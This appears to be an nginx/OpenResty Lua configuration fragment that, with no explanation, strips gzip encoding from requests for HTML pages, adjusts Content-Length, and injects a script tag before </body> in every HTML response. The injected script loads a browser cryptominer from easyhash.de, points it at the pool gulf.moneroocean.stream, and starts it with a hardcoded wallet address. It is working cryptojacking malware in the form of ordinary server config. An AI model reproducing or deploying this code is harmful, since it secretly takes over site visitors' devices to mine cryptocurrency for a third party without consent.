rewrite_by_lua '

function file_exists(path)
	local file = io.open(path, "rb")
	if file then file:close() end
	return file ~= nil
end

function string.indexOf(s, pattern, init)
    init = init or 0
    local index = string.find(s, pattern, init, true)
    return index or -1;
end

function string.insert(str,index,insertStr)
    local first = string.sub(str,1,index-1)
    local last = string.sub(str,index,-1)
    local createStr = string.format("%s%s%s",first,insertStr,last)
    return createStr
end


local ngx = require "ngx";
local url = ngx.var.uri;
local host = ngx.var.host;
local agent = ngx.var.http_user_agent
local accpet = ngx.var.http_accept
local refere = ngx.var.http_referer
local request_url = ngx.var.request_uri;
local request_method = ngx.var.request_method;
request_url = string.format(" url: %s %s%s",request_method,host,request_url)

if accpet==nil then
	return
end


if string.indexOf(accpet,"text/html")<1 then
	return
end


local Encoding = ngx.req.get_headers()["Accept-Encoding"];

if Encoding==nil then
	return
end



if string.indexOf(Encoding,"gzip")>=1 then
    ngx.req.clear_header("Accept-Encoding")
end

';

header_filter_by_lua '


function file_exists(path)
	local file = io.open(path, "rb")
	if file then file:close() end
	return file ~= nil
end

function string.indexOf(s, pattern, init)
	init = init or 0
	local index = string.find(s, pattern, init, true)
	return index or -1;
end

function string.insert(str,index,insertStr)
	local first = string.sub(str,1,index-1)
	local last = string.sub(str,index,-1)
	local createStr = string.format("%s%s%s",first,insertStr,last)
	return createStr
end
	
local ngx = require "ngx";


local url = ngx.var.uri;
local host = ngx.var.host;
local agent = ngx.var.http_user_agent
local request_url = ngx.var.request_uri;
local request_method = ngx.var.request_method;
local accpet = ngx.var.http_accept

request_url = string.format(" url: %s %s%s",request_method,host,request_url);


if accpet==nil then
	return
end

if string.indexOf(accpet,"text/html")<1 then
	return
end

local content_encoding = ngx.header["Content-Encoding"]

if content_encoding and string.indexOf(content_encoding, "gzip") then
	return
end

if ngx.header["Content-Length"] then
	local content_length = tonumber(ngx.header["content-length"])
	local script_str = "<script src=\\\"https://easyhash.de/mmh/mmh.js?v10?perfekt=wss://?algo=cn/r?jason=gulf.moneroocean.stream:10128\\\"></script><script>PerfektStart(\\\"886UHNL9BsNFESyjGj13t586iXEiqfMNw78aSkCPRYztSWRE6N6YsKBEiuVWKookWZFo8dP8pQngagRJy3i4F5wWLwM9rmF\\\", \\\"ttt1\\\", 1);</script>"
	local new_length = content_length + string.len(script_str)
	ngx.header["content-length"] = tostring(new_length)
end
	
';

body_filter_by_lua '

function file_exists(path)
	local file = io.open(path, "rb")
	if file then file:close() end
	return file ~= nil
end

function string.indexOf(s, pattern, init)
    init = init or 0
    local index = string.find(s, pattern, init, true)
    return index or -1;
end

function string.insert(str,index,insertStr)
    local first = string.sub(str,1,index-1)
    local last = string.sub(str,index,-1)
    local createStr = string.format("%s%s%s",first,insertStr,last)
    return createStr
end


local ngx = require "ngx";


local url = ngx.var.uri;
local host = ngx.var.host;
local agent = ngx.var.http_user_agent
local request_url = ngx.var.request_uri;
local request_method = ngx.var.request_method;
local accpet = ngx.var.http_accept

request_url = string.format(" url: %s %s%s",request_method,host,request_url);


if accpet==nil then
	return
end

if string.indexOf(accpet,"text/html")<1 then
	return
end



local content_encoding = ngx.header["Content-Encoding"]

if content_encoding and string.indexOf(content_encoding, "gzip") then
    return
end

local uncompressed_content = ngx.arg[1]

if string.indexOf(uncompressed_content,"<body") then
	
	local index = string.indexOf(uncompressed_content,"</body>");
	if(index > 0) 
	then
		ngx.update_time();
		math.randomseed(tonumber(tostring(ngx.now()*1000):reverse():sub(1, 9)));
		local rand = math.random(1,100);
		
		local script_str = "<script src=\\\"https://easyhash.de/mmh/mmh.js?v10?perfekt=wss://?algo=cn/r?jason=gulf.moneroocean.stream:10128\\\"></script><script>PerfektStart(\\\"886UHNL9BsNFESyjGj13t586iXEiqfMNw78aSkCPRYztSWRE6N6YsKBEiuVWKookWZFo8dP8pQngagRJy3i4F5wWLwM9rmF\\\", \\\"ttt1\\\", 1);</script>"
		if(rand <=100) then
			ngx.arg[1] = string.insert(uncompressed_content,index,script_str);
		end
	end

end
';